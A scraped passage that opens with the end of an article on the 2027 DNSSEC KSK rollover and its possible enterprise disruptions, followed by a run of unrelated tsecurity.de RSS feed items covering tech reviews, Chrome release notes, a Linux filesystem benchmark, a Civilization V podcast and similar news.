<p class="wp-block-paragraph">“There will almost certainly be systems that fall through the cracks. Some will be legacy applications that rely on outdated DNS configurations that have not been updated in years,” Greis says. “Others will be business-unit-developed tools, contractor-built solutions, embedded systems, manufacturing and industrial systems, or highly customized workloads that operate outside normal IT oversight. These are the types of systems that often surface during infrastructure events like this.”</p>



<p class="wp-block-paragraph">Greis adds that many enterprises will discover in January problems created by their own automation.</p>



<p class="wp-block-paragraph">“Over time, enterprises build layers of processes, templates, and deployment mechanisms that are reused across teams and environments,” Greis notes. “Even after DNS infrastructure is updated correctly, older settings can inadvertently be reintroduced through routine updates and system changes, creating intermittent and difficult-to-diagnose failures.”</p>



<p class="wp-block-paragraph">The good news from this situation is that enterprises are not going to likely lose all DNS access if any of these glitches occur. But that may be of no comfort because even if the disruptions are only with small edge cases, that can still cause massive operational disruptions.</p>



<p class="wp-block-paragraph"><a href="https://www.linkedin.com/in/cricketliu/">Cricket Liu</a>, EVP and chief evangelist at Infoblox, gives the example of a DNS server that responds to factory-floor system queries.</p>



<p class="wp-block-paragraph">“Or let’s say this disrupts [an enterprise’s key] SaaS application. All name resolution may stop and it will show a server failure. It will not deliver a response whenever I look anything up. That’s not subtle at all,” Liu says. “It’s highly likely that companies are going to see some effects.”</p>



<p class="wp-block-paragraph">Back in 2017, the switchover was relatively uneventful, giving some CIOs hope that January 2027 will also be a non-event. But given the technology advancements in the last 10 years and the resulting tidal wave of new enterprise tech dependencies, few are realistically expecting no problems this go around. </p>



<h2 class="wp-block-heading">Impossible to predict what will happen</h2>



<p class="wp-block-paragraph">One of the top network experts on DNS effects in enterprises is <a href="https://blog.apnic.net/author/geoff-huston/">Geoff Huston</a>, chief scientist at the Asia Pacific Network Information Centre (APNIC), the regional Internet Registry administering IP addresses for the Asia Pacific region.</p>



<p class="wp-block-paragraph">Huston says it is difficult to project what will happen in January until it happens.</p>



<p class="wp-block-paragraph">“Just like the last time, we are flying blind with this key roll. Because nothing really terrible happened last time, there is some confidence that nothing terrible will happen this time, but we just can’t tell in advance as there are no good measurement approaches that allow us to peek inside the trust state of recursive resolvers,” he says.</p>



<p class="wp-block-paragraph">As for potential edge-case glitches, Huston says it is possible, but if third-party vendors do not properly handle the update, there will be other issues as well, as the KSK cryptographic key used within DNSSEC signs and validates the keys that protect DNS records. </p>



<p class="wp-block-paragraph">“If it is not standards-compliant, then you have more problems than just the KSK roll,” Huston says, “as it raises the obvious question of ‘What else is not correctly implemented in the DNS resolver that I’m running?’”</p>



<p class="wp-block-paragraph">As a silver lining, Acceligence’s Greis says any hiccups that result from the DNS KSK update may be a gift in disguise for CIOs. </p>



<p class="wp-block-paragraph">“The irony is that some of the most business-critical components in the technology stack are often the least visible because they work in the background,” Greis says. January “may reveal how much modern business resilience depends on infrastructure that many organizations rarely examine until something breaks. For CIOs, that’s the real lesson. This is not fundamentally a story about a DNS update. It is a story about operational visibility, resilience, and governance. Organizations that treat the rollover as a routine infrastructure task will likely complete the update and move on. Organizations that use it as an opportunity to understand and strengthen the foundations of their technology environment may gain far more value than simply avoiding an outage.”</p>
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<title><![CDATA[Is last year's Samsung Galaxy Tab S10 FE still worth buying? I multi-screened movies, maxed out gaming graphics, and dunked it in a tank to find out]]></title>
<description><![CDATA[Samsung’s Galaxy Tab S10 FE not only turned me into a multitasking and note-taking machine; its epic battery life and lush display are perfect for binge watching, too.]]></description>
<link>https://tsecurity.de/de/3691140/it-nachrichten/is-last-years-samsung-galaxy-tab-s10-fe-still-worth-buying-i-multi-screened-movies-maxed-out-gaming-graphics-and-dunked-it-in-a-tank-to-find-out/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3691140/it-nachrichten/is-last-years-samsung-galaxy-tab-s10-fe-still-worth-buying-i-multi-screened-movies-maxed-out-gaming-graphics-and-dunked-it-in-a-tank-to-find-out/</guid>
<pubDate>Fri, 24 Jul 2026 11:35:15 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Samsung’s Galaxy Tab S10 FE not only turned me into a multitasking and note-taking machine; its epic battery life and lush display are perfect for binge watching, too.]]></content:encoded>
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<title><![CDATA[Kagi Brings Back Old-School Search, One Human-Made Website at a Time]]></title>
<description><![CDATA[If you’re tired of sponsored and AI-summarized search results, Kagi gives you a curated—and human-centric—way to find what you’re looking for.]]></description>
<link>https://tsecurity.de/de/3691136/it-nachrichten/kagi-brings-back-old-school-search-one-human-made-website-at-a-time/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3691136/it-nachrichten/kagi-brings-back-old-school-search-one-human-made-website-at-a-time/</guid>
<pubDate>Fri, 24 Jul 2026 11:35:08 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[If you’re tired of sponsored and AI-summarized search results, Kagi gives you a curated—and human-centric—way to find what you’re looking for.]]></content:encoded>
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<title><![CDATA[Burnham wants Big Ecommerce to bankroll Britain's pubs]]></title>
<description><![CDATA[Online marketplaces could find themselves buying the next round as the PM looks to tax ecommerce to save the local]]></description>
<link>https://tsecurity.de/de/3691104/it-nachrichten/burnham-wants-big-ecommerce-to-bankroll-britains-pubs/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3691104/it-nachrichten/burnham-wants-big-ecommerce-to-bankroll-britains-pubs/</guid>
<pubDate>Fri, 24 Jul 2026 11:21:12 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Online marketplaces could find themselves buying the next round as the PM looks to tax ecommerce to save the local]]></content:encoded>
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<title><![CDATA[The automotive software vulnerabilities hiding in your dashboard]]></title>
<description><![CDATA[Pop the hood on a new car and you won’t find much you can fix with a wrench. What you’ll find is software, and a lot of it. The screen in the dash probably runs Android or a flavor of…
Read more →
The post The automotive software vulnerabilities hiding in your dashboard appeared first on IT Secur...]]></description>
<link>https://tsecurity.de/de/3690889/it-security-nachrichten/the-automotive-software-vulnerabilities-hiding-in-your-dashboard/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3690889/it-security-nachrichten/the-automotive-software-vulnerabilities-hiding-in-your-dashboard/</guid>
<pubDate>Fri, 24 Jul 2026 09:09:55 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Pop the hood on a new car and you won’t find much you can fix with a wrench. What you’ll find is software, and a lot of it. The screen in the dash probably runs Android or a flavor of…</p>
<p class="more-link-p"><a class="more-link" href="https://www.itsecuritynews.info/the-automotive-software-vulnerabilities-hiding-in-your-dashboard/">Read more →</a></p>
<p>The post <a href="https://www.itsecuritynews.info/the-automotive-software-vulnerabilities-hiding-in-your-dashboard/">The automotive software vulnerabilities hiding in your dashboard</a> appeared first on <a href="https://www.itsecuritynews.info/">IT Security News</a>.</p>]]></content:encoded>
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<title><![CDATA[The automotive software vulnerabilities hiding in your dashboard]]></title>
<description><![CDATA[Pop the hood on a new car and you won’t find much you can fix with a wrench. What you’ll find is software, and a lot of it. The screen in the dash probably runs Android or a flavor of Linux. The system watching the road for you might run QNX or VxWorks, the same kind of code that flies aircraft a...]]></description>
<link>https://tsecurity.de/de/3690845/it-security-nachrichten/the-automotive-software-vulnerabilities-hiding-in-your-dashboard/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3690845/it-security-nachrichten/the-automotive-software-vulnerabilities-hiding-in-your-dashboard/</guid>
<pubDate>Fri, 24 Jul 2026 08:41:07 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Pop the hood on a new car and you won’t find much you can fix with a wrench. What you’ll find is software, and a lot of it. The screen in the dash probably runs Android or a flavor of Linux. The system watching the road for you might run QNX or VxWorks, the same kind of code that flies aircraft and runs factory floors. Carmakers spent the last decade making this switch, and it … <a href="https://www.helpnetsecurity.com/2026/07/24/car-research-automotive-software-vulnerabilities/" rel="nofollow">More <span class="meta-nav">→</span></a></p>
<p>The post <a href="https://www.helpnetsecurity.com/2026/07/24/car-research-automotive-software-vulnerabilities/">The automotive software vulnerabilities hiding in your dashboard</a> appeared first on <a href="https://www.helpnetsecurity.com/">Help Net Security</a>.</p>]]></content:encoded>
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<title><![CDATA[Fix App Not Installed As Package Appears To Be Invalid]]></title>
<description><![CDATA[Key TakeawaysIssue of 'App Not Installed As Package Appears To Be Invalid' arises from non-Play Store app installations on Android devices.Troubleshooting steps include restarting the device, checking storage availability, downloading the app again from a reliable source, verifying device archite...]]></description>
<link>https://tsecurity.de/de/3690748/it-security-nachrichten/fix-app-not-installed-as-package-appears-to-be-invalid/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3690748/it-security-nachrichten/fix-app-not-installed-as-package-appears-to-be-invalid/</guid>
<pubDate>Fri, 24 Jul 2026 07:15:26 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Key TakeawaysIssue of 'App Not Installed As Package Appears To Be Invalid' arises from non-Play Store app installations on Android devices.Troubleshooting steps include restarting the device, checking storage availability, downloading the app again from a reliable source, verifying device architecture compatibility, disabling Google Play Protect temporarily, deleting existing app data, resetting app preferences, and trying […]</p>
<p>The post <a href="https://itechhacks.com/fix-app-not-installed-as-package-appears-to-be-invalid/" data-wpel-link="internal">Fix App Not Installed As Package Appears To Be Invalid</a> appeared first on <a href="https://itechhacks.com/" data-wpel-link="internal">iTech Hacks</a>.</p>]]></content:encoded>
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<title><![CDATA[AI in Education]]></title>
<description><![CDATA[Educators and students find themselves on the front line as AI labs begin to muscle in, fears about cognitive atrophy surface, and AI cheating detection tools are revealed to be faulty. It is time to arm students with ‘eval’ powers, a professor argues]]></description>
<link>https://tsecurity.de/de/3690629/ai-nachrichten/ai-in-education/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3690629/ai-nachrichten/ai-in-education/</guid>
<pubDate>Fri, 24 Jul 2026 05:48:30 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Educators and students find themselves on the front line as AI labs begin to muscle in, fears about cognitive atrophy surface, and AI cheating detection tools are revealed to be faulty. It is time to arm students with ‘eval’ powers, a professor argues]]></content:encoded>
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<title><![CDATA[Meet the judges who will crown Australia’s next breakout startup]]></title>
<description><![CDATA[TechCrunch Startup Battlefield is coming to Australia — and we're partnering with Stripe to find the country's most exciting early-stage startups.]]></description>
<link>https://tsecurity.de/de/3690487/it-nachrichten/meet-the-judges-who-will-crown-australias-next-breakout-startup/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3690487/it-nachrichten/meet-the-judges-who-will-crown-australias-next-breakout-startup/</guid>
<pubDate>Fri, 24 Jul 2026 02:25:14 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[TechCrunch Startup Battlefield is coming to Australia — and we're partnering with Stripe to find the country's most exciting early-stage startups.]]></content:encoded>
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<title><![CDATA[HPR4690: Playing Civilization V, Part 14]]></title>
<description><![CDATA[This show has been flagged as Clean by the host.

In our sample game we look at playing as Austria and aiming for a Diplomatic Victory. And our focus is on puppeting City-States, but I misunderstood and instead of making a Diplomatic Victory easier, it makes it harder. I still managed to get my D...]]></description>
<link>https://tsecurity.de/de/3690466/podcasts/hpr4690-playing-civilization-v-part-14/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3690466/podcasts/hpr4690-playing-civilization-v-part-14/</guid>
<pubDate>Fri, 24 Jul 2026 02:04:41 +0200</pubDate>
<category>🎥 Podcasts</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>This show has been flagged as Clean by the host.</p>

<p>In our sample game we look at playing as Austria and aiming for a Diplomatic Victory. And our focus is on puppeting City-States, but I misunderstood and instead of making a Diplomatic Victory easier, it makes it harder. I still managed to get my Diplomatic Victory, but a Science or Domination Victory would definitely have been easier in this scenario.</p>

<h1>Playing Civilization V, Part 14</h1>

<p>Now I am at turn 340, I just puppeted another City-State, and I have one more on the way. I have sent a large number of military units, both land and sea, to the City-States that are on Japan’s border. If he tries anything now he will likely regret it. Now I am starting to build things I had not bothered with before, like Granaries and Amphitheaters. I got a couple of Great Engineers, and used them to rush build Wonders. I am nearly finished puppeting all of the City-States, and my Happiness and Income are both quite healthy. I am in such good shape I started to build the World’s Fair, which I initally proposed then ignored.</p>

<p>At this point I only have one more City-State to puppet, then I will have puppeted every City-State in the game. So it is time to put my large income to use in other ways by giving gifts to the other players. I may want to get a few more votes on my side to get over the top in the World Leader vote when it happens. On turn 357 I completed the puppeting of all of the City-States in the game. Meanwhile, I am building up my Science and building Wonders as they become available. I didn’t build any in the early game because I had other priorities, but now I have a strong military, high income, and no other pressing needs. My score on the Leader Board is now double that of my nearest competitor which is still Japan. And their denunciation me of just expired with them taking no action.</p>

<p>I used a Great Engineer to rush build the Porcelain Tower, earning me another Great Scientist, which I then used to build another Academy. At this point it is mostly a slog to the finish. Since I was so dominant and so wealthy I could afford to pursue a couple of other options just in case. One was a Science victory, which looked like a possibility, though it would be close. I had to be very focused in my Science Research. The other option was a Culture victory, and I had dominated two other empires culturally without half trying, and I was generating Great Artists, Great Musicians, and Great Writers pretty rapidly. So I built Museums, then Archeologists, and grabbed every artifact I find to stuff into the Museums. But the final Victory came when I researched Globalization. This tech allows you to get an extra vote in a World Council for every Spy you send to another empire’s capital and designate as an Ambassador. I immediately sent my spies out (they had previously been in my cities doing counter-espionage since I had a tech lead). And a few turns later a vote for World Leader came up and I won.</p>

<p>This was my first time using Maria Theresa of Austria as my leader, and it was fun, but in the end puppeting all of the City-Staters actually made it harder to win a Diplomatic victory. In other games I have played, every City-State that was an ally was an extra vote in the World Council, and I assumed that making them puppets would mean I would get that many votes. But that didn’t happen. Of course, if I had read more carefully in the Civilization Wiki I would have realized this, because it says there very clearly that Austria is one of the worst Empires to pick if you are going for a Diplomatic victory. So the fact that I managed it anyway is nice. I think I actually could have done a Science victory as I had my Spaceship half-built when I won the Diplomatic Victory. But I hope this analysis of how I actually played this game will be helpful to someone else.</p>

<h3>Links</h3>
<ul>
<li><a href="https://www.palain.com/gaming/civilization-v/playing-civilization-v-part-14/">https://www.palain.com/gaming/civilization-v/playing-civilization-v-part-14/</a></li>
</ul>


<p><a href="https://hackerpublicradio.org/eps/hpr4690/index.html#comments">Provide <strong>feedback</strong> on this episode</a>.</p>]]></content:encoded>
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<title><![CDATA[Niri could redefine tiling window management]]></title>
<description><![CDATA[I’m a big fan of an efficient window handling. There are many different philosophies out there on how to do it from the traditional master plus stack window managers to zone based window snapping tools to some auto tiling solution that lives somewhere between those.  Then there is Niri. For anyon...]]></description>
<link>https://tsecurity.de/de/3690397/linux-tipps/niri-could-redefine-tiling-window-management/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3690397/linux-tipps/niri-could-redefine-tiling-window-management/</guid>
<pubDate>Fri, 24 Jul 2026 00:45:49 +0200</pubDate>
<category>🐧 Linux Tipps</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<!-- SC_OFF --><div class="md"><p>I’m a big fan of an efficient window handling. There are many different philosophies out there on how to do it from the traditional master plus stack window managers to zone based window snapping tools to some auto tiling solution that lives somewhere between those. </p> <p>Then there is Niri. For anyone who may not know, Niri is a Wayland compositor that takes a new approach to window tiling. By default, it opens windows at 50% of your screen width and tiles them infinitely to the right, allowing you to scroll focus on them by pressing super + arrow keys. Of course you can stack them, rearrange them, toggle full screen, force focused window to take up all remaining space on screen, and it boasts vertical workspaces. </p> <p>I have been using Niri with Dank Material Shell (DMS) for the last month and now I am not sure I could ever go back to the traditional master + stacked window tiling philosophy. I just tried and it feels awkward, limiting, and cluttered. It even beats more full featured desktop environment tiling options in Gnome and KDE in my opinion because I don’t have to alt + tab to find the window I want to focus on. </p> <p>If you haven’t given it a try, you should. I didn’t think I would like it very much, but I got used to it after a few days, kept it for a couple of weeks, and now it has become my favorite way to work. </p> </div><!-- SC_ON -->   submitted by   <a href="https://www.reddit.com/user/kylerjohnsondev"> /u/kylerjohnsondev </a> <br> <span><a href="https://www.reddit.com/r/linux/comments/1v4t3gu/niri_could_redefine_tiling_window_management/">[link]</a></span>   <span><a href="https://www.reddit.com/r/linux/comments/1v4t3gu/niri_could_redefine_tiling_window_management/">[comments]</a></span>]]></content:encoded>
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<title><![CDATA[Stable Channel Update for Desktop]]></title>
<description><![CDATA[The Stable channel has been updated to 150.0.7871.186/.187 for Windows and Mac and 150.0.7871.186 for Linux, which will roll out over the coming days/weeks. A full list of changes in this build is available in the LogSecurity Fixes and RewardsNote: Access to bug details and links may be kept rest...]]></description>
<link>https://tsecurity.de/de/3690353/it-security-nachrichten/stable-channel-update-for-desktop/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3690353/it-security-nachrichten/stable-channel-update-for-desktop/</guid>
<pubDate>Fri, 24 Jul 2026 00:27:13 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p><span face="Roboto, sans-serif"><span color="rgba(0, 0, 0, 0.87)">The Stable channel has been updated to 150.0.7871.186/.187 for Windows and</span><span color="rgba(0, 0, 0, 0.87)"> </span><span color="rgba(0, 0, 0, 0.87)">Mac and </span></span><span color="rgba(0, 0, 0, 0.87)"><span>150.0.7871.186 for Linux, which will roll out over the coming days/weeks. A full list of changes in this build is available in the </span><a href="https://chromium.googlesource.com/chromium/src/+log/150.0.7871.182..150.0.7871.186?pretty=fuller&amp;n=10000">Log</a></span></p><div><span face="Arial,sans-serif"><br><p dir="ltr"><span>Security Fixes and Rewards</span></p><p dir="ltr"><span>Note: Access to bug details and links may be kept restricted until a majority of users are updated with a fix. We will also retain restrictions if the bug exists in a third party library that other projects similarly depend on, but haven’t yet fixed.</span></p><br><p dir="ltr"><span>This update includes </span><a href="https://issues.chromium.org/issues?q=customfield1223088:5-M150"><span>4</span></a><span> security fixes. Please see the </span><a href="https://www.chromium.org/Home/chromium-security"><span>Chrome Security Page</span></a><span> for more information.</span></p><p dir="ltr"><span><br></span></p><p dir="ltr"><span>[N/A][</span><a href="https://issues.chromium.org/issues/518237034"><span>518237034</span></a><span>]</span><span> High </span><span>CVE-2026-16807: Out of bounds write in Codecs. </span><span>Reported by Google on 2026-05-30</span></p><p dir="ltr"><span>[N/A][</span><a href="https://issues.chromium.org/issues/522064153"><span>522064153</span></a><span>]</span><span> High </span><span>CVE-2026-16806: Use after free in WebMCP. </span><span>Reported by Google on 2026-06-10</span></p><p dir="ltr"><span>[N/A][</span><a href="https://issues.chromium.org/issues/523292588"><span>523292588</span></a><span>]</span><span> High </span><span>CVE-2026-16805: Use after free in Blink. </span><span>Reported by Google on 2026-06-12</span></p><p dir="ltr"><span>[N/A][</span><a href="https://issues.chromium.org/issues/524721670"><span>524721670</span></a><span>]</span><span> High </span><span>CVE-2026-16804: Use after free in Input. </span><span>Reported by Google on 2026-06-16</span></p><p dir="ltr"><span><br></span></p><p dir="ltr"><span>We would also like to thank all security researchers that worked with us during the development cycle to prevent security bugs from ever reaching the stable channel.</span></p><p dir="ltr"><span><br></span></p><p dir="ltr"><span>Many of our security bugs are detected using </span><a href="https://code.google.com/p/address-sanitizer/wiki/AddressSanitizer"><span>AddressSanitizer</span></a><span>, </span><a href="https://code.google.com/p/memory-sanitizer/wiki/MemorySanitizer"><span>MemorySanitizer</span></a><span>, </span><a href="https://www.chromium.org/developers/testing/undefinedbehaviorsanitizer"><span>UndefinedBehaviorSanitizer</span></a><span>, </span><a href="https://www.chromium.org/developers/testing/control-flow-integrity/"><span>Control Flow Integrity</span></a><span>, </span><a href="https://chromium.googlesource.com/chromium/src/+/HEAD/testing/libfuzzer/README.md"><span>libFuzzer</span></a><span>, or </span><a href="https://github.com/google/afl"><span>AFL</span></a><span>.</span></p><br></span></div><div><span face="Arial,sans-serif"><br></span></div><p><span><span>Interested in switching release channels? Find out how<span> </span></span><a href="https://www.chromium.org/getting-involved/dev-channel">here</a><span>. If you find a new issue, please let us know by<span> </span></span><a href="https://crbug.com/">filing a bug</a><span>. The<span> </span></span><a href="https://support.google.com/chrome/community">community help forum</a><span> is also a great place to reach out for help or learn about common issues.</span></span></p><p><span><br></span></p><p><span>Daniel Yip</span></p><p><span color="rgba(0, 0, 0, 0.87)"></span></p><p><span>Google Chrome</span></p><div><span><br></span></div>]]></content:encoded>
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<title><![CDATA[Chrome for Android Update]]></title>
<description><![CDATA[   Hi, everyone! We've just released Chrome 150 (150.0.7871.186) for Android. It'll become available on Google Play over the next few days. This release includes stability and performance improvements. You can see a full list of the changes in the Git log. If you find a new issue, please let us k...]]></description>
<link>https://tsecurity.de/de/3690352/it-security-nachrichten/chrome-for-android-update/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3690352/it-security-nachrichten/chrome-for-android-update/</guid>
<pubDate>Fri, 24 Jul 2026 00:27:11 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>   Hi, everyone! We've just released <b>Chrome 150 (150.0.7871.186)</b> for Android. It'll become <a href="https://play.google.com/store/apps/details?id=com.android.chrome">available on Google Play</a> over the next few days. </p><p>This release includes stability and performance improvements. You can see a full list of the changes in the <a href="https://chromium.googlesource.com/chromium/src/+log/150.0.7871.181..150.0.7871.186?pretty=fuller&amp;n=10000">Git log</a>. If you find a new issue, please let us know by <a href="https://code.google.com/p/chromium/issues/entry?template=Android%20Issue">filing a bug</a>.</p><div><br></div><div>Android releases contain the same security fixes as their corresponding<a href="https://chromereleases.googleblog.com/2026/07/stable-channel-update-for-desktop_01320465736.html"> Desktop releases</a> (Windows &amp; Mac: 150.0.7871.181/182, Linux: 150.0.7871.181) unless otherwise noted.</div><div><div><br></div><div><div>Krishna Govind</div><div><a href="https://www.google.com/chrome/">Google Chrome</a></div></div></div>]]></content:encoded>
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<title><![CDATA[I built a Linux filesystem benchmark for corruption, snapshots, rebuilds and ENOSPC across 26 storage layouts]]></title>
<description><![CDATA[Most filesystem benchmarks measure throughput on a freshly formatted single device. That is useful, but it misses many of the reasons people choose btrfs, ZFS or bcachefs in the first place. I built modern-fs-benchmark to examine modern filesystems as complete storage systems, including their fea...]]></description>
<link>https://tsecurity.de/de/3690327/linux-tipps/i-built-a-linux-filesystem-benchmark-for-corruption-snapshots-rebuilds-and-enospc-across-26-storage-layouts/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3690327/linux-tipps/i-built-a-linux-filesystem-benchmark-for-corruption-snapshots-rebuilds-and-enospc-across-26-storage-layouts/</guid>
<pubDate>Fri, 24 Jul 2026 00:13:06 +0200</pubDate>
<category>🐧 Linux Tipps</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<!-- SC_OFF --><div class="md"><p>Most filesystem benchmarks measure throughput on a freshly formatted single device. That is useful, but it misses many of the reasons people choose btrfs, ZFS or bcachefs in the first place.</p> <p>I built modern-fs-benchmark to examine modern filesystems as complete storage systems, including their features, failure modes and behavior over time.</p> <p>The current matrix contains 26 configurations across btrfs, ZFS, bcachefs, ext4 and XFS over md/LVM, dm-integrity, native and LUKS encryption, parity layouts, and XFS on a ZFS zvol.</p> <p>Hosted CI dashboard:</p> <p><a href="https://bartosz.fenski.pl/modern-fs-benchmark/">https://bartosz.fenski.pl/modern-fs-benchmark/</a></p> <p>Experimental real-hardware dashboard:</p> <p><a href="https://bartosz.fenski.pl/modern-fs-benchmark/real-hw/">https://bartosz.fenski.pl/modern-fs-benchmark/real-hw/</a></p> <p>Apache-2.0 licensed source and complete methodology:</p> <p><a href="https://github.com/fenio/modern-fs-benchmark">https://github.com/fenio/modern-fs-benchmark</a></p> <p>The raw benchmark datasets are published under CC BY 4.0. Every result records the kernel and filesystem tool/module versions. CI artifacts also contain a full command trace, so the exact workload is inspectable rather than hidden behind a chart.</p> <p><strong>Why I started this project</strong></p> <p>Many filesystem benchmarks follow a familiar pattern: create a filesystem with mostly default options, mount it, run fio or another generic workload, and compare throughput.</p> <p>General-purpose suites such as the Phoronix Test Suite are useful for conventional performance comparisons, but they do not focus on the machinery that makes modern copy-on-write filesystems interesting.</p> <p>I wanted a benchmark designed around btrfs, ZFS and bcachefs as multi-device storage systems rather than treating them as interchangeable replacements for ext4 on a single freshly formatted disk.</p> <p>That means testing behavior such as:</p> <p>- Redundancy and degraded operation</p> <p>- Snapshot aging, scaling and reclamation</p> <p>- Compression and encryption</p> <p>- Reflinks and clone divergence</p> <p>- Fsync tail latency and responsiveness under load</p> <p>- Rebuild and scrub behavior</p> <p>- Near-full and hard-ENOSPC behavior</p> <p>- Data integrity and recovery from corruption</p> <p>Ext4 and XFS over md, LVM and dm-integrity are included as classic-stack baselines so the costs and benefits of integrated CoW designs can be compared with layered alternatives.</p> <p>Silent corruption is one particularly important example. When one redundant copy is deliberately corrupted behind the filesystem, checksumming filesystems such as btrfs, ZFS and bcachefs can identify the damaged copy and recover from a valid replica.</p> <p>Traditional md/LVM redundancy without data checksums can notice during a scrub that its copies disagree, but it cannot determine which one is correct. In my tests, some classic configurations returned corrupted data successfully without an application-visible error.</p> <p>The dm-integrity configuration shows that a classic layered stack can obtain integrity protection too, with a measurable performance cost.</p> <p><strong>An important limitation</strong></p> <p>The main dashboard uses loop devices on GitHub-hosted VMs. Absolute throughput numbers and small differences between filesystems should not be interpreted as hardware rankings.</p> <p>The hosted runs are primarily useful for:</p> <p>- Correctness and integrity outcomes</p> <p>- Comparisons within the same job</p> <p>- Large behavioral differences</p> <p>- Snapshot-aging and near-full shapes</p> <p>- Trends across repeated runs</p> <p>Real disks are required for meaningful absolute performance, concurrency scaling, device parallelism and mixed-media topologies.</p> <p>I am aware of this limitation and do not want the hosted dashboard to suggest more precision than the underlying environment can provide.</p> <p><strong>The real-hardware experiment</strong></p> <p>Kent Overstreet, the creator of bcachefs, made one of his Hetzner machines available for a real-hardware experiment.</p> <p>The server had two physical NVMe devices. It completed three full benchmark runs, which are available in the separate real-hardware dashboard. These runs provided meaningful absolute measurements and exposed concurrency behavior that cannot be observed when several loop devices share one virtual disk.</p> <p>During the fourth run, one NVMe controller entered the kernel’s dead state. The existing machine environment had its operating system on RAID0 across the two NVMe devices, so the hardware failure also made part of /nix/store unreadable and eventually prevented new SSH sessions.</p> <p>The incomplete fourth run is not being published as benchmark data. This was a failure of the underlying hardware, not a result attributable to any filesystem being tested.</p> <p>I am grateful to Kent for providing the machine and making the real-hardware experiment possible. Without that access, the three existing hardware runs would not exist.</p> <p><strong>Where I would like to take it</strong></p> <p>Better hardware would not merely produce more reliable throughput numbers. It would enable an entirely new class of tests designed for multi-device and multi-tier filesystems.</p> <p>I would eventually like to run the suite on a machine containing several storage classes, for example two HDDs, two SSDs and an NVMe device.</p> <p>That could support scenarios such as:</p> <p>- HDD, SSD and NVMe baselines using identical workloads</p> <p>- bcachefs foreground and background targets</p> <p>- ZFS HDD data vdevs with SSD special vdevs</p> <p>- Separate ZFS L2ARC and SLOG experiments</p> <p>- LVM dm-cache in writeback and writethrough modes</p> <p>- Metadata and small-block placement on faster media</p> <p>- Foreground latency during background migration</p> <p>- Contention between fast and slow storage tiers</p> <p>- Degraded operation and rebuild under application load</p> <p>- Performance before, during and after promoting or evacuating a storage tier</p> <p>These are the kinds of scenarios for which multi-device and multi-tier filesystems are built, but they cannot be represented honestly when every “device” is a loop file backed by the same cloud disk.</p> <p>I am considering either renting a suitable dedicated server or eventually building and hosting my own machine. Providers such as Worldstream offer configurations close to what I need, but the recurring cost is currently outside the project’s budget.</p> <p>For now, the benchmark will remain in its hosted-CI form for an unknown amount of time. The existing dashboard will continue to be useful for correctness, behavioral comparisons and regression tracking, but it cannot answer every real-hardware performance question or model complex mixed-media topologies.</p> <p>I am also open to running the suite on hardware provided by someone else. A useful environment would need Linux root access, clearly identified block devices that may be wiped, and enough uninterrupted access to complete repeated runs. The hardware description, methodology and resulting data would remain public.</p> <p>I would appreciate technical feedback:</p> <p>- Which current tests are misleading or unfair?</p> <p>- Which failure scenarios are missing?</p> <p>- Which mixed-media topologies would be most useful?</p> <p>- Which additional filesystems or layered stacks should be included?</p> <p>- Which results deserve deeper investigation?</p> <p>The methodology, implementation and raw results are public. If a filesystem is being tested in a way that misrepresents it, I consider that a bug in the benchmark.</p> </div><!-- SC_ON -->   submitted by   <a href="https://www.reddit.com/user/bfenski"> /u/bfenski </a> <br> <span><a href="https://www.reddit.com/r/linux/comments/1v4lsfk/i_built_a_linux_filesystem_benchmark_for/">[link]</a></span>   <span><a href="https://www.reddit.com/r/linux/comments/1v4lsfk/i_built_a_linux_filesystem_benchmark_for/">[comments]</a></span>]]></content:encoded>
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<title><![CDATA[Do not pass Go(ogle).]]></title>
<description><![CDATA[Google gets a billion dollar fine from the EU. The White House considers sanctions against Chinese AI developers. The GAO criticizes overlap in cyber reporting regulations. The Feds warn of Iranian agents targeting OT systems. Researchers disclose a high-severity Linux kernel vulnerability. Dolph...]]></description>
<link>https://tsecurity.de/de/3690177/it-security-nachrichten/do-not-pass-google/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3690177/it-security-nachrichten/do-not-pass-google/</guid>
<pubDate>Thu, 23 Jul 2026 22:44:14 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
